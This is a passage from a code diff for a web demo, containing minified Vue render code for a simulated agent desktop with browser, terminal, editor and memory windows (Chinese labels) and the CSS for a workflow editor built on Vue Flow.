Surface",-1)),h("div",ft,[h("div",wt,Ae(We(t)),1),i.value?(Re(),Fe("div",gt,[f[0]||(f[0]=h("span",{class:"pulse-dot"},null,-1)),h("span",bt,Ae(i.value),1)])):Qe("",!0)])]),h("div",{class:"monitor-screen",ref_key:"screenEl",ref:r},[h("div",pt,[h("div",vt,[h("div",{class:"apps-grid",ref_key:"appsGrid",ref:o},null,512)]),h("div",xt,[h("div",{class:"desktop-grid",ref_key:"desktopGrid",ref:l},null,512)])]),h("div",{class:"window browser-window",ref_key:"browserWindow",ref:c},[f[2]||(f[2]=h("div",{class:"window-header"},[h("span",{class:"traffic-dot red"}),h("span",{class:"traffic-dot yellow"}),h("span",{class:"traffic-dot green"}),h("span",null,"多模态知识浏览器")],-1)),h("div",Tt,[h("div",St,[h("span",{ref_key:"browserSearchText",ref:a},null,512)]),h("div",{class:"browser-status",ref_key:"browserStatus",ref:m},"准备搜索...",512),h("div",Et,[h("ul",{ref_key:"browserResults",ref:d},null,512)])])],512),h("div",{class:"window extraction-window",ref_key:"extractionWindow",ref:w},[f[3]||(f[3]=se('
网页提取
',1)),h("div",Mt,[h("div",{class:"extract-url",ref_key:"extractionUrl",ref:p},null,512),h("div",{class:"extract-status",ref_key:"extractionState",ref:x},"等待提取",512),h("div",{class:"extract-summary",ref_key:"extractionSummary",ref:b},null,512)])],512),h("div",{class:"window folder-window",ref_key:"folderWindow",ref:k},[h("div",kt,[f[4]||(f[4]=h("span",{class:"traffic-dot red"},null,-1)),f[5]||(f[5]=h("span",{class:"traffic-dot yellow"},null,-1)),f[6]||(f[6]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"folderHeaderText",ref:S},"workspace",512)]),h("div",{class:"folder-body",ref_key:"folderBody",ref:I},null,512)],512),h("div",{class:"window editor-window",ref_key:"editorWindow",ref:P},[h("div",Lt,[f[7]||(f[7]=h("span",{class:"traffic-dot red"},null,-1)),f[8]||(f[8]=h("span",{class:"traffic-dot yellow"},null,-1)),f[9]||(f[9]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"editorHeaderText",ref:L},"文件",512)]),h("div",{class:"editor-body",ref_key:"editorBody",ref:E},null,512)],512),h("div",{class:"window terminal-window",ref_key:"terminalWindow",ref:R},[h("div",Ct,[f[10]||(f[10]=h("span",{class:"traffic-dot red"},null,-1)),f[11]||(f[11]=h("span",{class:"traffic-dot yellow"},null,-1)),f[12]||(f[12]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"terminalHeaderText",ref:_},"终端",512)]),h("div",It,[h("div",{class:"terminal-tabs",ref_key:"terminalTabs",ref:A},[h("div",{class:"terminal-tab-list",ref_key:"terminalTabList",ref:H},null,512),h("button",{class:"terminal-tab add-tab",ref_key:"terminalAddButton",ref:$},"+",512)],512),h("div",{class:"terminal-output",ref_key:"terminalBody",ref:C},null,512)])],512),h("div",{class:"window command-window",ref_key:"commandWindow",ref:B},[h("div",Pt,[f[13]||(f[13]=h("span",{class:"traffic-dot red"},null,-1)),f[14]||(f[14]=h("span",{class:"traffic-dot yellow"},null,-1)),f[15]||(f[15]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"commandTitle",ref:T},"命令行",512)]),h("div",Bt,[h("div",{class:"command-input",ref_key:"commandInput",ref:N},null,512),h("div",{class:"command-output",ref_key:"commandOutput",ref:z},null,512)])],512),h("div",{class:"window python-window",ref_key:"pythonWindow",ref:q},[h("div",Rt,[f[16]||(f[16]=h("span",{class:"traffic-dot red"},null,-1)),f[17]||(f[17]=h("span",{class:"traffic-dot yellow"},null,-1)),f[18]||(f[18]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"pythonTitle",ref:G},"Python",512)]),h("div",{class:"python-body",ref_key:"pythonBody",ref:F},[h("div",{class:"python-input",ref_key:"pythonInput",ref:M},null,512),h("div",{class:"python-output",ref_key:"pythonOutput",ref:Q},null,512)],512)],512),h("div",{class:"window reader-window",ref_key:"readerWindow",ref:ee},[h("div",Ft,[f[19]||(f[19]=h("span",{class:"traffic-dot red"},null,-1)),f[20]||(f[20]=h("span",{class:"traffic-dot yellow"},null,-1)),f[21]||(f[21]=h("span",{class:"traffic-dot green"},null,-1)),h("span",{ref_key:"readerTitle",ref:ne},"阅读器",512)]),h("div",At,[h("div",{class:"reading-lines",ref_key:"readerLines",ref:le},null,512),h("div",{class:"ocr-panel",ref_key:"readerOcr",ref:ce},null,512)])],512),h("div",{class:"window memory-window",ref_key:"memoryWindow",ref:ae},[f[22]||(f[22]=se('
记忆
',1)),h("div",Wt,[h("div",{class:"memory-list",ref_key:"memoryList",ref:he},null,512)]),h("div",Dt,[h("span",null,[h("strong",{ref_key:"memoryCount",ref:me},null,512)]),h("span",null,[h("strong",{ref_key:"memoryTime",ref:de},null,512)]),h("span",{ref_key:"memoryStatus",ref:ue},null,512)])],512),h("div",{class:"window todo-window",ref_key:"todoWindow",ref:fe},[f[23]||(f[23]=se('
待办事项
',1)),h("div",_t,[h("div",{class:"todo-summary",ref_key:"todoSummary",ref:we},null,512),h("div",{class:"todo-progress",ref_key:"todoList",ref:ge},null,512)])],512),h("div",{class:"window wait-window",ref_key:"waitWindow",ref:be},[f[25]||(f[25]=se('
等待
',1)),h("div",Ht,[h("div",{class:"flip-clock",ref_key:"waitDisplay",ref:pe},[...f[24]||(f[24]=[se('
00
00
:
00
00
',5)])],512)])],512),h("div",{class:"context-menu",ref_key:"desktopMenu",ref:Te},[...f[26]||(f[26]=[h("button",{"data-action":"file"},"新建文件",-1),h("button",{"data-action":"folder"},"新建文件夹",-1),h("button",{"data-action":"wait"},"等待",-1)])],512),h("div",{class:"context-menu",ref_key:"folderMenu",ref:Se},[...f[27]||(f[27]=[h("button",{"data-action":"file"},"新建文件",-1),h("button",{"data-action":"folder"},"新建文件夹",-1)])],512),h("div",{class:"context-menu",ref_key:"fileMenu",ref:Ee},[...f[28]||(f[28]=[h("button",{"data-action":"read"},"阅读文件",-1),h("button",{"data-action":"edit"},"编辑文件",-1),h("button",{"data-action":"rename"},"重命名",-1),h("button",{"data-action":"delete"},"删除文件",-1)])],512),h("div",{class:"context-menu",ref_key:"focusMenu",ref:Le},[...f[29]||(f[29]=[h("button",{"data-action":"focus"},"聚焦文件",-1),h("button",{"data-action":"unfocus"},"取消聚焦",-1)])],512),h("div",{class:"context-menu",ref_key:"browserMenu",ref:Me},[...f[30]||(f[30]=[h("button",{"data-action":"save"},"保存网页",-1)])],512),h("div",{class:"context-menu",ref_key:"terminalMenu",ref:ke},[...f[31]||(f[31]=[h("button",{"data-action":"snapshot"},"保存快照",-1),h("button",{"data-action":"reset"},"重置终端",-1),h("button",{"data-action":"close"},"关闭终端",-1)])],512),h("div",{class:"speech-bubble",ref_key:"bubbleEl",ref:Ce},[h("div",{class:"bubble-icon-slot",ref_key:"bubbleIconSlot",ref:Ie},null,512),h("div",{class:"bubble-text-slot",ref_key:"bubbleTextSlot",ref:Pe},null,512)],512),h("div",{class:"mouse-pointer",ref_key:"mousePointer",ref:Be},[h("img",{src:We($e),alt:"pointer"},null,8,Ot)],512),h("div",{class:"wait-overlay",ref_key:"waitOverlay",ref:ve},[f[32]||(f[32]=h("div",{class:"z z-1"},"Z",-1)),f[33]||(f[33]=h("div",{class:"z z-2"},"Z",-1)),f[34]||(f[34]=h("div",{class:"z z-3"},"Z",-1)),f[35]||(f[35]=h("div",{class:"z z-4"},"Z",-1)),h("div",{class:"wait-countdown",ref_key:"waitCountdown",ref:xe},"5s",512)],512)],512)]),f[36]||(f[36]=h("div",{class:"monitor-stand"},null,-1))])])]))}});export{jt as default}; diff --git a/demo/static/dist/assets/WorkflowDemoShell.css b/demo/static/dist/assets/WorkflowDemoShell.css new file mode 100644 index 0000000..5a792da --- /dev/null +++ b/demo/static/dist/assets/WorkflowDemoShell.css @@ -0,0 +1 @@ +@charset "UTF-8";.wf-library[data-v-098294cb]{display:flex;flex-direction:column;height:100%;background:var(--surface-base);overflow:hidden}.wf-library__topbar[data-v-098294cb]{display:flex;align-items:center;height:48px;padding:0 16px;flex-shrink:0}.wf-library__container[data-v-098294cb]{flex:1;width:100%;max-width:860px;margin:0 auto;padding:24px 24px 48px;overflow-y:auto}.wf-library__heading[data-v-098294cb]{display:flex;align-items:flex-start;justify-content:space-between;gap:16px;margin-bottom:24px}.wf-library__title[data-v-098294cb]{margin:0;font-size:22px;font-weight:650;color:var(--text-primary);letter-spacing:.01em}.wf-library__subtitle[data-v-098294cb]{margin:6px 0 0;font-size:13px;color:var(--text-tertiary)}.wf-library__list[data-v-098294cb]{border-top:1px solid var(--border-default)}.wf-library__empty[data-v-098294cb]{display:flex;flex-direction:column;align-items:center;gap:10px;padding:96px 0;color:var(--text-tertiary)}.wf-library__empty-title[data-v-098294cb]{margin:0;font-size:15px;font-weight:600;color:var(--text-secondary)}.wf-library__empty-hint[data-v-098294cb]{margin:0 0 8px;font-size:13px}.wf-row[data-v-098294cb]{display:flex;align-items:center;gap:14px;height:68px;padding:0 12px;border-bottom:1px solid var(--border-default);cursor:pointer;transition:background-color .12s ease}.wf-row[data-v-098294cb]:hover{background:var(--hover-bg)}.wf-row__icon[data-v-098294cb]{display:flex;align-items:center;justify-content:center;width:38px;height:38px;border-radius:9px;background:var(--surface-soft);color:var(--text-secondary);flex-shrink:0}.wf-row__main[data-v-098294cb]{flex:1;min-width:0;display:flex;flex-direction:column;justify-content:center;gap:3px}.wf-row__name[data-v-098294cb]{height:20px;line-height:20px;font-size:14px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.wf-row__desc[data-v-098294cb]{height:17px;line-height:17px;font-size:12px;color:var(--text-tertiary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.wf-row__meta[data-v-098294cb]{display:flex;align-items:center;gap:6px;font-size:12px;color:var(--text-tertiary);flex-shrink:0}.wf-row__meta-sep[data-v-098294cb]{color:var(--text-muted)}.wf-row__actions[data-v-098294cb]{display:flex;align-items:center;gap:2px;flex-shrink:0}.wf-btn[data-v-098294cb]{display:inline-flex;align-items:center;gap:6px;height:32px;padding:0 12px;border:1px solid var(--border-default);border-radius:8px;background:var(--surface-raised);color:var(--text-secondary);font-size:13px;font-family:inherit;cursor:pointer;transition:background-color .12s ease,color .12s ease}.wf-btn .icon[data-v-098294cb]{--icon-size: 14px}.wf-btn[data-v-098294cb]:hover{background:var(--hover-bg);color:var(--text-primary)}.wf-btn--ghost[data-v-098294cb]{border-color:transparent;background:transparent}.wf-btn--ghost[data-v-098294cb]:hover{background:var(--hover-bg)}.wf-btn--primary[data-v-098294cb]{border-color:var(--accent);background:var(--accent);color:var(--on-accent)}.wf-btn--primary[data-v-098294cb]:hover{background:var(--accent-hover);color:var(--on-accent)}.wf-btn--danger-confirm[data-v-098294cb]{border-color:var(--state-danger);background:var(--state-danger);color:var(--on-accent)}.wf-btn--danger-confirm[data-v-098294cb]:hover{background:var(--state-danger-strong);color:var(--on-accent)}.wf-icon-btn[data-v-098294cb]{display:inline-flex;align-items:center;justify-content:center;width:30px;height:30px;border:none;border-radius:7px;background:transparent;color:var(--text-tertiary);cursor:pointer;transition:background-color .12s ease,color .12s ease}.wf-icon-btn .icon[data-v-098294cb]{--icon-size: 15px}.wf-icon-btn[data-v-098294cb]:hover{background:var(--hover-bg);color:var(--text-primary)}.wf-icon-btn--danger[data-v-098294cb]:hover{color:var(--state-danger)}.vue-flow{position:relative;width:100%;height:100%;overflow:hidden;z-index:0;direction:ltr}.vue-flow__container{position:absolute;height:100%;width:100%;left:0;top:0}.vue-flow__pane{z-index:1}.vue-flow__pane.draggable{cursor:grab}.vue-flow__pane.selection{cursor:pointer}.vue-flow__pane.dragging{cursor:grabbing}.vue-flow__transformationpane{transform-origin:0 0;z-index:2;pointer-events:none}.vue-flow__viewport{z-index:4;overflow:clip}.vue-flow__selection{z-index:6}.vue-flow__edge-labels{position:absolute;width:100%;height:100%;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.vue-flow__nodesselection-rect:focus,.vue-flow__nodesselection-rect:focus-visible{outline:none}.vue-flow .vue-flow__edges{pointer-events:none;overflow:visible}.vue-flow__edge-path,.vue-flow__connection-path{stroke:#b1b1b7;stroke-width:1;fill:none}.vue-flow__edge{pointer-events:visibleStroke;cursor:pointer}.vue-flow__edge.animated path{stroke-dasharray:5;animation:dashdraw .5s linear infinite}.vue-flow__edge.animated path.vue-flow__edge-interaction{stroke-dasharray:none;animation:none}.vue-flow__edge.inactive{pointer-events:none}.vue-flow__edge.selected,.vue-flow__edge:focus,.vue-flow__edge:focus-visible{outline:none}.vue-flow__edge.selected .vue-flow__edge-path,.vue-flow__edge:focus .vue-flow__edge-path,.vue-flow__edge:focus-visible .vue-flow__edge-path{stroke:#555}.vue-flow__edge-textwrapper{pointer-events:all}.vue-flow__edge-text{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.vue-flow__connection{pointer-events:none}.vue-flow__connection .animated{stroke-dasharray:5;animation:dashdraw .5s linear infinite}.vue-flow__connectionline{z-index:1001}.vue-flow__nodes{pointer-events:none;transform-origin:0 0}.vue-flow__node{position:absolute;-webkit-user-select:none;-moz-user-select:none;user-select:none;pointer-events:all;transform-origin:0 0;box-sizing:border-box;cursor:default}.vue-flow__node.draggable{cursor:grab;pointer-events:all}.vue-flow__node.draggable.dragging{cursor:grabbing}.vue-flow__nodesselection{z-index:3;transform-origin:left top;pointer-events:none}.vue-flow__nodesselection-rect{position:absolute;pointer-events:all;cursor:grab}.vue-flow__nodesselection-rect.dragging{cursor:grabbing}.vue-flow__handle{position:absolute;pointer-events:none;min-width:5px;min-height:5px}.vue-flow__handle.connectable{pointer-events:all;cursor:crosshair}.vue-flow__handle-bottom{left:50%;bottom:0;transform:translate(-50%,50%)}.vue-flow__handle-top{left:50%;top:0;transform:translate(-50%,-50%)}.vue-flow__handle-left{top:50%;left:0;transform:translate(-50%,-50%)}.vue-flow__handle-right{top:50%;right:0;transform:translate(50%,-50%)}.vue-flow__edgeupdater{cursor:move;pointer-events:all}.vue-flow__panel{position:absolute;z-index:5;margin:15px}.vue-flow__panel.top{top:0}.vue-flow__panel.bottom{bottom:0}.vue-flow__panel.left{left:0}.vue-flow__panel.right{right:0}.vue-flow__panel.center{left:50%;transform:translate(-50%)}@keyframes dashdraw{0%{stroke-dashoffset:10}}:root{--vf-node-bg: #fff;--vf-node-text: #222;--vf-connection-path: #b1b1b7;--vf-handle: #555}.vue-flow__edge.updating .vue-flow__edge-path{stroke:#777}.vue-flow__edge-text{font-size:10px}.vue-flow__edge-textbg{fill:#fff}.vue-flow__connection-path{stroke:var(--vf-connection-path)}.vue-flow__node{cursor:grab}.vue-flow__node.selectable:focus,.vue-flow__node.selectable:focus-visible{outline:none}.vue-flow__node-default,.vue-flow__node-input,.vue-flow__node-output{padding:10px;border-radius:3px;width:150px;font-size:12px;text-align:center;border-width:1px;border-style:solid;color:var(--vf-node-text);background-color:var(--vf-node-bg);border-color:var(--vf-node-color)}.vue-flow__node-default.selected,.vue-flow__node-default.selected:hover,.vue-flow__node-input.selected,.vue-flow__node-input.selected:hover,.vue-flow__node-output.selected,.vue-flow__node-output.selected:hover{box-shadow:0 0 0 .5px var(--vf-box-shadow)}.vue-flow__node-default.selected,.vue-flow__node-default:focus,.vue-flow__node-default:focus-visible,.vue-flow__node-input.selected,.vue-flow__node-input:focus,.vue-flow__node-input:focus-visible,.vue-flow__node-output.selected,.vue-flow__node-output:focus,.vue-flow__node-output:focus-visible{outline:none;border:1px solid #555}.vue-flow__node-default .vue-flow__handle,.vue-flow__node-input .vue-flow__handle,.vue-flow__node-output .vue-flow__handle{background:var(--vf-handle)}.vue-flow__node-default.selectable:hover,.vue-flow__node-input.selectable:hover,.vue-flow__node-output.selectable:hover{box-shadow:0 1px 4px 1px #00000014}.vue-flow__node-input{--vf-node-color: var(--vf-node-color, #0041d0);--vf-handle: var(--vf-node-color, #0041d0);--vf-box-shadow: var(--vf-node-color, #0041d0);background:var(--vf-node-bg);border-color:var(--vf-node-color, #0041d0)}.vue-flow__node-input.selected,.vue-flow__node-input:focus,.vue-flow__node-input:focus-visible{outline:none;border:1px solid var(--vf-node-color, #0041d0)}.vue-flow__node-default{--vf-handle: var(--vf-node-color, #1a192b);--vf-box-shadow: var(--vf-node-color, #1a192b);background:var(--vf-node-bg);border-color:var(--vf-node-color, #1a192b)}.vue-flow__node-default.selected,.vue-flow__node-default:focus,.vue-flow__node-default:focus-visible{outline:none;border:1px solid var(--vf-node-color, #1a192b)}.vue-flow__node-output{--vf-handle: var(--vf-node-color, #ff0072);--vf-box-shadow: var(--vf-node-color, #ff0072);background:var(--vf-node-bg);border-color:var(--vf-node-color, #ff0072)}.vue-flow__node-output.selected,.vue-flow__node-output:focus,.vue-flow__node-output:focus-visible{outline:none;border:1px solid var(--vf-node-color, #ff0072)}.vue-flow__nodesselection-rect,.vue-flow__selection{background:#0059dc14;border:1px dotted rgba(0,89,220,.8)}.vue-flow__nodesselection-rect:focus,.vue-flow__nodesselection-rect:focus-visible,.vue-flow__selection:focus,.vue-flow__selection:focus-visible{outline:none}.vue-flow__handle{width:6px;height:6px;background:var(--vf-handle);border:1px solid #fff;border-radius:100%}.vue-flow__controls{box-shadow:0 0 2px 1px #00000014}.vue-flow__controls-button{background:#fefefe;border:none;border-bottom:1px solid #eee;box-sizing:content-box;display:flex;justify-content:center;align-items:center;width:16px;height:16px;cursor:pointer;-webkit-user-select:none;user-select:none;padding:5px}.vue-flow__controls-button svg{width:100%;max-width:12px;max-height:12px}.vue-flow__controls-button:hover{background:#f4f4f4}.vue-flow__controls-button:disabled{pointer-events:none}.vue-flow__controls-button:disabled svg{fill-opacity:.4}.vue-flow__minimap{background-color:#fff}.vue-flow__minimap.pannable{cursor:grab}.vue-flow__minimap.dragging{cursor:grabbing}.vue-flow__minimap-mask.pannable{cursor:grab}.stage-node[data-v-ee74c62b]{width:210px;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:10px;box-shadow:var(--shadow-soft);font-family:inherit;cursor:grab;transition:border-color .15s ease}.stage-node[data-v-ee74c62b]:active{cursor:grabbing}.stage-node--selected[data-v-ee74c62b]{border-color:var(--accent)}.stage-node--issue[data-v-ee74c62b]{border-color:var(--state-danger)}.stage-node[data-v-ee74c62b] .stage-node__reject-in{opacity:.5}.stage-node__head[data-v-ee74c62b]{display:flex;align-items:center;gap:6px;height:34px;padding:0 10px;border-bottom:1px solid var(--border-default)}.stage-node__flag[data-v-ee74c62b]{--icon-size: 13px;flex-shrink:0}.stage-node__flag--entry[data-v-ee74c62b]{color:var(--state-success)}.stage-node__flag--terminal[data-v-ee74c62b]{color:var(--text-tertiary)}.stage-node__dot[data-v-ee74c62b]{width:6px;height:6px;border-radius:50%;background:var(--text-tertiary);flex-shrink:0;margin:0 3.5px}.stage-node__name[data-v-ee74c62b]{flex:1;min-width:0;font-size:13px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.stage-node__goal[data-v-ee74c62b]{height:30px;line-height:30px;padding:0 10px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.stage-node__goal--empty[data-v-ee74c62b]{color:var(--text-tertiary);font-style:italic}.stage-node__foot[data-v-ee74c62b]{display:flex;align-items:center;justify-content:space-between;height:26px;padding:0 10px;border-top:1px solid var(--border-default);font-size:11px;color:var(--text-tertiary)}.stage-node__id[data-v-ee74c62b]{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.boundary-node[data-v-317011d3]{display:flex;align-items:center;gap:6px;height:36px;padding:0 16px;border-radius:999px;background:var(--surface-raised);border:1px solid var(--border-default);font-size:12px;color:var(--text-secondary);-webkit-user-select:none;user-select:none;cursor:grab;transition:border-color .15s ease}.boundary-node[data-v-317011d3]:active{cursor:grabbing}.boundary-node--selected[data-v-317011d3]{border-color:var(--accent)}.boundary-node--issue[data-v-317011d3]{border-color:var(--state-danger)}.boundary-node[data-v-317011d3] .boundary-node__in--empty{opacity:.35}.boundary-node__icon[data-v-317011d3]{--icon-size: 13px;flex-shrink:0}.boundary-node--start[data-v-317011d3]{color:var(--text-primary);border-color:var(--state-success)}.boundary-node--start .boundary-node__icon[data-v-317011d3]{color:var(--state-success)}.boundary-node--start.boundary-node--selected[data-v-317011d3]{border-color:var(--accent)}.boundary-node--start.boundary-node--issue[data-v-317011d3]{border-color:var(--state-danger)}.boundary-node--end[data-v-317011d3]{border-style:dashed}.review-node[data-v-243373fb]{width:170px;height:96px;position:relative;font-family:inherit;cursor:grab}.review-node[data-v-243373fb]:active{cursor:grabbing}.review-node__shape[data-v-243373fb]{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.review-node__polygon[data-v-243373fb]{fill:var(--surface-raised);stroke:var(--border-default);stroke-width:1;vector-effect:non-scaling-stroke;transition:stroke .15s ease}.review-node--selected .review-node__polygon[data-v-243373fb]{stroke:var(--accent)}.review-node--issue .review-node__polygon[data-v-243373fb]{stroke:var(--state-danger)}.review-node[data-v-243373fb] .review-node__pass-out{background:var(--state-info)}.review-node[data-v-243373fb] .review-node__reject-out{background:var(--state-danger)}.review-node__body[data-v-243373fb]{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:3px;padding:0 28px;pointer-events:none}.review-node__eye[data-v-243373fb]{--icon-size: 14px;color:var(--text-secondary)}.review-node__name[data-v-243373fb]{max-width:100%;font-size:12px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.review-node__meta[data-v-243373fb]{font-size:10px;color:var(--text-tertiary);white-space:nowrap}.branch-node[data-v-aa9c2b4f]{width:150px;background:var(--surface-raised);border:1px dashed var(--border-strong);border-radius:10px;box-shadow:var(--shadow-soft);font-family:inherit;cursor:grab;transition:border-color .15s ease}.branch-node[data-v-aa9c2b4f]:active{cursor:grabbing}.branch-node--selected[data-v-aa9c2b4f]{border-color:var(--accent);border-style:solid}.branch-node--issue[data-v-aa9c2b4f]{border-color:var(--state-danger);border-style:solid}.branch-node[data-v-aa9c2b4f] .branch-node__out--empty,.branch-node[data-v-aa9c2b4f] .branch-node__in--empty{opacity:.35}.branch-node[data-v-aa9c2b4f] .branch-node__reject-in{opacity:.5}.branch-node__body[data-v-aa9c2b4f]{display:flex;flex-direction:column;align-items:center;justify-content:center;gap:3px;min-height:inherit;padding:8px 14px;pointer-events:none}.branch-node__icon[data-v-aa9c2b4f]{--icon-size: 14px;color:var(--text-secondary)}.branch-node__name[data-v-aa9c2b4f]{max-width:100%;font-size:12px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.branch-node__meta[data-v-aa9c2b4f]{font-size:10px;color:var(--text-tertiary);white-space:nowrap}.wf-editor[data-v-e385afa9]{position:relative;display:flex;flex-direction:column;height:100%;background:var(--surface-base);overflow:hidden}.wf-editor__topbar[data-v-e385afa9]{display:flex;align-items:center;justify-content:space-between;gap:12px;height:48px;padding:0 12px;background:var(--surface-raised);border-bottom:1px solid var(--border-default);flex-shrink:0}.wf-editor__topbar-left[data-v-e385afa9],.wf-editor__topbar-right[data-v-e385afa9]{display:flex;align-items:center;gap:8px;min-width:0}.wf-editor__logo[data-v-e385afa9]{--icon-size: 17px;color:var(--text-secondary);flex-shrink:0}.wf-editor__name[data-v-e385afa9]{font-size:14px;font-weight:600;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.wf-editor__badge[data-v-e385afa9]{height:20px;line-height:20px;padding:0 7px;border-radius:5px;background:var(--badge-bg);color:var(--text-tertiary);font-size:11px;flex-shrink:0}.wf-editor__dirty[data-v-e385afa9]{font-size:11px;color:var(--state-warning);flex-shrink:0}.wf-editor__issues-anchor[data-v-e385afa9]{position:relative}.wf-editor__issues-pop[data-v-e385afa9]{position:absolute;top:calc(100% + 6px);right:0;width:320px;max-width:calc(100vw - 32px);height:240px;overflow-y:auto;padding:8px 12px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-raised);box-shadow:var(--shadow-mid);z-index:30;scrollbar-width:thin;scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) transparent}.wf-editor__flash[data-v-e385afa9]{position:absolute;top:56px;left:50%;transform:translate(-50%);z-index:20;height:32px;line-height:32px;padding:0 14px;border-radius:8px;background:var(--surface-raised);border:1px solid var(--border-default);box-shadow:var(--shadow-mid);font-size:12px;color:var(--text-secondary);pointer-events:none}.wf-editor__body[data-v-e385afa9]{display:flex;flex:1;min-height:0}.wf-editor__canvas[data-v-e385afa9]{flex:1;min-width:0;position:relative}.wf-flow[data-v-e385afa9]{width:100%;height:100%}.wf-issue[data-v-e385afa9]{display:flex;align-items:center;gap:8px;height:28px;font-size:12px}.wf-issue .icon[data-v-e385afa9]{--icon-size: 13px;flex-shrink:0}.wf-issue--error[data-v-e385afa9]{color:var(--state-danger)}.wf-issue--warning[data-v-e385afa9]{color:var(--state-warning)}.wf-panel[data-v-e385afa9]{width:300px;flex-shrink:0;background:var(--surface-raised);border-left:1px solid var(--border-default);overflow-y:auto;padding:16px 14px 32px;display:flex;flex-direction:column;gap:20px}.wf-panel__heading[data-v-e385afa9]{display:flex;align-items:center;justify-content:space-between;height:24px;font-size:12px;font-weight:650;color:var(--text-tertiary);letter-spacing:.04em;margin-bottom:10px}.wf-panel__heading-id[data-v-e385afa9]{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;font-weight:400}.wf-panel__empty[data-v-e385afa9]{font-size:12px;color:var(--text-tertiary);padding:4px 0}.wf-panel__empty--error[data-v-e385afa9]{color:var(--state-danger)}.wf-panel__hint[data-v-e385afa9]{font-size:11px;color:var(--text-muted);margin-top:6px}.wf-field[data-v-e385afa9]{display:flex;flex-direction:column;gap:5px;margin-bottom:12px}.wf-field__label[data-v-e385afa9]{font-size:12px;color:var(--text-secondary)}.wf-field__label--inline[data-v-e385afa9]{cursor:default}.wf-field__hint[data-v-e385afa9]{font-size:11px;color:var(--text-muted)}.wf-input[data-v-e385afa9],.wf-textarea[data-v-e385afa9]{width:100%;padding:0 10px;border:1px solid var(--border-default);border-radius:8px;background:var(--surface-base);color:var(--text-primary);font-size:13px;font-family:inherit;outline:none;transition:border-color .12s ease}.wf-input[data-v-e385afa9]:focus,.wf-textarea[data-v-e385afa9]:focus{border-color:var(--accent)}.wf-input[data-v-e385afa9]::placeholder,.wf-textarea[data-v-e385afa9]::placeholder{color:var(--text-muted)}.wf-input[data-v-e385afa9]{height:32px}.wf-input--sm[data-v-e385afa9]{height:26px;font-size:11px}.wf-textarea[data-v-e385afa9]{padding:8px 10px;line-height:1.55;resize:vertical;min-height:56px}.wf-toggle-row[data-v-e385afa9]{display:flex;align-items:center;gap:8px;height:24px}.wf-toggle[data-v-e385afa9]{position:relative;width:34px;height:20px;border:none;border-radius:10px;background:var(--switch-track);cursor:pointer;transition:background-color .15s ease;flex-shrink:0}.wf-toggle__knob[data-v-e385afa9]{position:absolute;top:2px;left:2px;width:16px;height:16px;border-radius:50%;background:var(--surface-raised);box-shadow:var(--shadow-soft);transition:transform .15s ease}.wf-toggle--on[data-v-e385afa9]{background:var(--accent)}.wf-toggle--on .wf-toggle__knob[data-v-e385afa9]{transform:translate(14px)}.wf-segment[data-v-e385afa9]{display:flex;height:32px;padding:2px;border-radius:8px;background:var(--surface-soft);border:1px solid var(--border-default)}.wf-segment__item[data-v-e385afa9]{flex:1;border:none;border-radius:6px;background:transparent;color:var(--text-tertiary);font-size:12px;font-family:inherit;cursor:pointer;transition:background-color .12s ease,color .12s ease}.wf-segment__item--active[data-v-e385afa9]{background:var(--surface-raised);color:var(--text-primary);box-shadow:var(--shadow-soft)}.wf-select[data-v-e385afa9]{position:relative}.wf-select--toolbar .wf-select__menu[data-v-e385afa9]{left:auto;right:0;width:216px}.wf-select__caret[data-v-e385afa9]{--icon-size: 13px;color:var(--text-tertiary)}.wf-select__menu[data-v-e385afa9]{position:absolute;top:36px;left:0;right:0;z-index:30;max-height:220px;overflow-y:auto;padding:4px;border:1px solid var(--border-default);border-radius:9px;background:var(--surface-raised);box-shadow:var(--shadow-mid)}.wf-select__option[data-v-e385afa9]{display:flex;align-items:center;gap:8px;width:100%;height:30px;padding:0 8px;border:none;border-radius:6px;background:transparent;color:var(--text-secondary);font-size:12px;font-family:inherit;cursor:pointer;text-align:left}.wf-select__option[data-v-e385afa9]:hover{background:var(--hover-bg)}.wf-select__option .icon[data-v-e385afa9]{--icon-size: 13px;flex-shrink:0;color:var(--text-tertiary)}.wf-select__option-name[data-v-e385afa9]{flex-shrink:0;white-space:nowrap;color:var(--text-primary)}.wf-select__option-desc[data-v-e385afa9]{flex:1;min-width:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;color:var(--text-muted);font-size:11px}.wf-route-list[data-v-e385afa9]{display:flex;flex-direction:column;gap:2px}.wf-route-item[data-v-e385afa9]{display:flex;flex-direction:column;gap:4px;margin-bottom:8px}.wf-route-item[data-v-e385afa9]:last-child{margin-bottom:0}.wf-route-row[data-v-e385afa9]{display:flex;align-items:center;gap:8px;height:30px;padding:0 6px;border-radius:6px;font-size:12px;color:var(--text-secondary)}.wf-route-row[data-v-e385afa9]:hover{background:var(--hover-bg)}.wf-route-row>.icon[data-v-e385afa9]{--icon-size: 